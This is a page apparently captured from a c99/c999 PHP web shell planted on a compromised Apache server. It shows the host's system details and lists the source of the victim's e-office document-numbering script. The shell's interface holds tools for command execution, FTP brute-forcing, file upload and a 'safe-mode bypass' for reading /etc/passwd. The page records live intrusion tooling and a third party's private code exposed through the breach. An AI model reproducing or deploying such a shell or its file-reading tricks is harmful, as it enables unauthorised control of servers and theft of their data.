!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/mistk/mistk/eoffice/admin/   drwxr-xr-x
Free 50.78 GB of 127.8 GB (39.74%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     processRunningDeptDoc.php (6.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../class/clsRunningDoc.php";
include_once 
"../class/clsDocType.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oPS = new person($oC);
$oDt = new doctype($oC);
$oRd = new runningdoc($oC);

if(
$method=="setrunningDeptDoc"){

            
    
$oDt->RSdoctypeDtNoRunAll(); 
    while(
$oDt->GetRecord()){  
        if(
$oDt->DtP=="0"){
            
$oDP->SearchBydeptDateDocGroup2($oDP->SearchMaxDocGroup());
            while(
$oDP->GetRecord()){
                
$oRd->SearchBydocGroupDtIDDept($docGroup,$oDt->DtID,$oDP->deptId);
                    if(
$oRd->GetRecord()=="0"){
                        
$oRd->AddNew();
                        
$oRd->rID=$oRd->GetNextCode();
                        echo 
"rID=".$oRd->rID."<br>";
                        
$oRd->DtID=$oDt->DtID;
                        
$oRd->deptId=$oDP->deptId;
                        if(
th2a($receiveNoStart[$oDt->DtID][$oDP->deptId])=='0' || th2a($receiveNoStart[$oDt->DtID][$oDP->deptId])==''){ $r1=1; }else{ $r1=th2a($receiveNoStart[$oDt->DtID][$oDP->deptId]);  }
                        
$oRd->receiveNoStart =$r1;
                        echo 
"receiveNoStart=".$oRd->receiveNoStart."<br>";
                        
$oRd->receiveNo=$oRd->receiveNo;
                        echo 
"receiveNo=".$oRd->receiveNo."<br>";
                        if(
th2a($sendNoStart[$oDt->DtID][$oDP->deptId])=='0' || th2a($sendNoStart[$oDt->DtID][$oDP->deptId])==''){ $s1=1; }else{ $s1=th2a($sendNoStart[$oDt->DtID][$oDP->deptId]);  }
                        
$oRd->sendNoStart =$s1;
                        echo 
"sendNoStart=".$oRd->sendNoStart."<br>";
                        
$oRd->sendNo=$oRd->sendNo;
                        echo 
"sendNo=".$oRd->sendNo."<br>";
                        
$oRd->docGroup=$docGroup;
                        echo 
"docGroup=".$oRd->docGroup."<br>";
                        
$oRd->confirm=$oRd->confirm;
                        echo 
"confirm=".$oRd->confirm."<br>";
                        
$oRd->Save();
                    }else{
                        
//echo "edit";
                        
$oRd->Edit();
                        
$oRd->rID=$oRd->rID;
                        
//echo "rID=".$oRd->rID."<br>";
                        
$oRd->DtID=$oRd->DtID;
                        
//echo "DtID=".$oRd->DtID."<br>";
                        
$oRd->deptId=$oRd->deptId;
                        
//echo "deptId=".$oRd->deptId."<br>";
                        
if(th2a($receiveNoStart[$oDt->DtID][$oDP->deptId])=='0' || th2a($receiveNoStart[$oDt->DtID][$oDP->deptId])==''){ $r1=1; }else{ $r1=th2a($receiveNoStart[$oDt->DtID][$oDP->deptId]);  }
                        
$oRd->receiveNoStart =$r1;
                        
//echo "receiveNoStart=".$oRd->receiveNoStart."<br>";
                        
$oRd->receiveNo=$oRd->receiveNo;
                        
//echo "receiveNo=".$oRd->receiveNo."<br>";
                        
if(th2a($sendNoStart[$oDt->DtID][$oDP->deptId])=='0' || th2a($sendNoStart[$oDt->DtID][$oDP->deptId])==''){ $s1=1; }else{ $s1=th2a($sendNoStart[$oDt->DtID][$oDP->deptId]);  }
                        
$oRd->sendNoStart =$s1;
                        
//echo "sendNoStart=".$oRd->sendNoStart."<br>";
                        
$oRd->sendNo=$oRd->sendNo;
                        
//echo "sendNo=".$oRd->sendNo."<br>";
                        
$oRd->docGroup=$oRd->docGroup;
                        
//echo "docGroup=".$oRd->docGroup."<br>";
                        
$oRd->confirm=$oRd->confirm;
                        
//echo "confirm=".$oRd->confirm."<br>";
                        
$oRd->Save();
                    }
                } 
//while dept
        
//running doc
    
}
?>
        <script language="JavaScript">
        parent.location.href ="runningDeptDoc.php?s=1";
        </script>
<?
}else if($method=="confirm"){  //method = confirm
        
$oRd->SearchBydocGroupNoRunAll($docGroup);
        while(
$oRd->GetRecord()){
                
//echo "confirm";
                
$oRd->Edit();
                
$oRd->rID=$oRd->rID;
                
//echo "rID=".$oRd->rID."<br>";
                
$oRd->DtID=$oRd->DtID;
                
//echo "DtID=".$oRd->DtID."<br>";
                
$oRd->deptId=$oRd->deptId;
                
//echo "deptId=".$oRd->deptId."<br>";
                
$oRd->receiveNoStart =$oRd->receiveNoStart;
                
//echo "receiveNoStart=".$oRd->receiveNoStart."<br>";
                
$oRd->receiveNo=$oRd->receiveNo;
                
//echo "receiveNo=".$oRd->receiveNo."<br>";
                
$oRd->sendNoStart =$oRd->sendNoStart;
                
//echo "sendNoStart=".$oRd->sendNoStart."<br>";
                
$oRd->sendNo=$oRd->sendNo;
                
//echo "sendNo=".$oRd->sendNo."<br>";
                
$oRd->docGroup=$oRd->docGroup;
                
//echo "docGroup=".$oRd->docGroup."<br>";
                
$oRd->confirm="Y";
                
//echo "confirm=".$oRd->confirm."<br>";
                
$oRd->Save();
        }
?>
        <script language="JavaScript">
        parent.location.href ="runningDeptDoc.php?c=1";
        </script>
<?
}else if($method=="editsetrunningDeptDoc"){
            
    
$oDt->RSdoctypeDtNoRunAll(); 
    while(
$oDt->GetRecord()){  
        if(
$oDt->DtP=="0"){
            
$oDP->SearchBydeptDateDocGroup($oDP->SearchMaxDocGroup());
            while(
$oDP->GetRecord()){
                
$oRd->SearchBydocGroupDtIDDept($docGroup,$oDt->DtID,$oDP->deptId);
                    if(
$oRd->GetRecord()=="0"){
                        
$oRd->AddNew();
                        
$oRd->rID=$oRd->GetNextCode();
                        
//echo "rID=".$oRd->rID."<br>";
                        
$oRd->DtID=$oDt->DtID;
                        
$oRd->deptId=$oDP->deptId;
                        
$oRd->receiveNoStart =$receiveNoStart[$oDt->DtID][$oDP->deptId];
                        
//echo "receiveNoStart=".$oRd->receiveNoStart."<br>";
                        
$oRd->receiveNo=$receiveNo[$oDt->DtID][$oDP->deptId];
                        
//echo "receiveNo=".$oRd->receiveNo."<br>";
                        
$oRd->sendNoStart =$sendNoStart[$oDt->DtID][$oDP->deptId];
                        
//echo "sendNoStart=".$oRd->sendNoStart."<br>";
                        
$oRd->sendNo=$sendNo[$oDt->DtID][$oDP->deptId];
                        
//echo "sendNo=".$oRd->sendNo."<br>";
                        
$oRd->docGroup=$docGroup;
                        
//echo "docGroup=".$oRd->docGroup."<br>";
                        
$oRd->confirm=$oRd->confirm;
                        
//echo "confirm=".$oRd->confirm."<br>";
                        
$oRd->Save();
                    }else{
                        
//echo "edit";
                        
$oRd->Edit();
                        
$oRd->rID=$oRd->rID;
                        
//echo "rID=".$oRd->rID."<br>";
                        
$oRd->DtID=$oRd->DtID;
                        
//echo "DtID=".$oRd->DtID."<br>";
                        
$oRd->deptId=$oRd->deptId;
                        
//echo "deptId=".$oRd->deptId."<br>";
                        
$oRd->receiveNoStart =$receiveNoStart[$oDt->DtID][$oDP->deptId];
                        
//echo "receiveNoStart=".$oRd->receiveNoStart."<br>";
                        
$oRd->receiveNo=$receiveNo[$oDt->DtID][$oDP->deptId];
                        
//echo "receiveNo=".$oRd->receiveNo."<br>";
                        
$oRd->sendNoStart =$sendNoStart[$oDt->DtID][$oDP->deptId];
                        
//echo "sendNoStart=".$oRd->sendNoStart."<br>";
                        
$oRd->sendNo=$sendNo[$oDt->DtID][$oDP->deptId];
                        
//echo "sendNo=".$oRd->sendNo."<br>";
                        
$oRd->docGroup=$oRd->docGroup;
                        
//echo "docGroup=".$oRd->docGroup."<br>";
                        
$oRd->confirm=$oRd->confirm;
                        
//echo "confirm=".$oRd->confirm."<br>";
                        
$oRd->Save();
                    }
                } 
//while dept
        
//running doc
    
}

?>
        <script language="JavaScript">
        parent.location.href ="runningDeptDoc.php?s=1";
        </script>
<?
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0287 ]--